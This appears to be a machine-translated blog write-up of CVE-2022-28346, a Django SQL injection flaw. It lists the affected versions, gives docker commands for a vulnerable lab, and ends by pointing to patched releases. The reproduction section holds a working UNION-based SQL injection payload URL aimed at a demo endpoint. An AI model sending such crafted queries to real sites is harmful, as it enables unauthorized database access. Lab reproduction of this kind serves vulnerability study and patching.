当前位置:网站首页>Cve-2022-28346: Django SQL injection vulnerability
Cve-2022-28346: Django SQL injection vulnerability
2022-07-08 00:41:00 【yggcwhat】
0x01 brief introduction
Django Yes, it is Python Developed a free open source Web frame , It almost covers Web Every aspect of application , Can be used to quickly build high performance 、 Elegant website ,Django It provides many modules often used in website background development , Enable developers to focus on the business part .
0x02 Summary of vulnerability
Hole number :CVE-2022-28346
Attackers use a carefully crafted dictionary , adopt **kwargs Pass to QuerySet.annotate()、aggregate() and extra() These methods , This can cause these methods to be affected by SQL Injection attack .
0x03 Affects version
4.0 <= Django < 4.0.4
3.2 <= Django < 3.2.13
2.2 <= Django < 2.2.28
0x04 Environment building
docker pull s0cke3t/cve-2022-28346:latestdocker run -d -p 8080:8000 s0cke3t/cve-2022-28346
0x05 Loophole recurrence
You can find out which interfaces exist through the error reporting page

If the access interface has parameters , The error message will also be prompted

Use the parameters of the error prompt sql Inject
http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

0x06 Repair method
The Security version has been officially released , Download address :
https://www.djangoproject.com/download/
边栏推荐
- 大数据开源项目,一站式全自动化全生命周期运维管家ChengYing(承影)走向何方?
- Summary of the third course of weidongshan
- 从服务器到云托管,到底经历了什么?
- fabulous! How does idea open multiple projects in a single window?
- Codeforces Round #804 (Div. 2)(A~D)
- 【obs】官方是配置USE_GPU_PRIORITY 效果为TRUE的
- Vscode software
- If an exception is thrown in the constructor, the best way is to prevent memory leakage?
- "An excellent programmer is worth five ordinary programmers", and the gap lies in these seven key points
- Langchao Yunxi distributed database tracing (II) -- source code analysis
猜你喜欢

NVIDIA Jetson测试安装yolox过程记录

基于微信小程序开发的我最在行的小游戏

Binder核心API

Service mesh introduction, istio overview

RPA云电脑,让RPA开箱即用算力无限?

Thinkphp内核工单系统源码商业开源版 多用户+多客服+短信+邮件通知

Operating system principle --- summary of interview knowledge points

RPA cloud computer, let RPA out of the box with unlimited computing power?

Development of a horse tourism website (optimization of servlet)

深潜Kotlin协程(二十二):Flow的处理
随机推荐
If an exception is thrown in the constructor, the best way is to prevent memory leakage?
快速上手使用本地测试工具postman
How can CSDN indent the first line of a paragraph by 2 characters?
DNS 系列(一):为什么更新了 DNS 记录不生效?
Play sonar
51 communicates with the Bluetooth module, and 51 drives the Bluetooth app to light up
Lecture 1: the entry node of the link in the linked list
Deep dive kotlin synergy (XXII): flow treatment
Su embedded training - day4
The underlying principles and templates of new and delete
How is it most convenient to open an account for stock speculation? Is it safe to open an account on your mobile phone
52歲的周鴻禕,還年輕嗎?
深潜Kotlin协程(二十二):Flow的处理
华为交换机S5735S-L24T4S-QA2无法telnet远程访问
从服务器到云托管,到底经历了什么?
paddle入门-使用LeNet在MNIST实现图像分类方法二
手写一个模拟的ReentrantLock
Basic types of 100 questions for basic grammar of Niuke
Vscode software
【测试面试题】页面很卡的原因分析及解决方案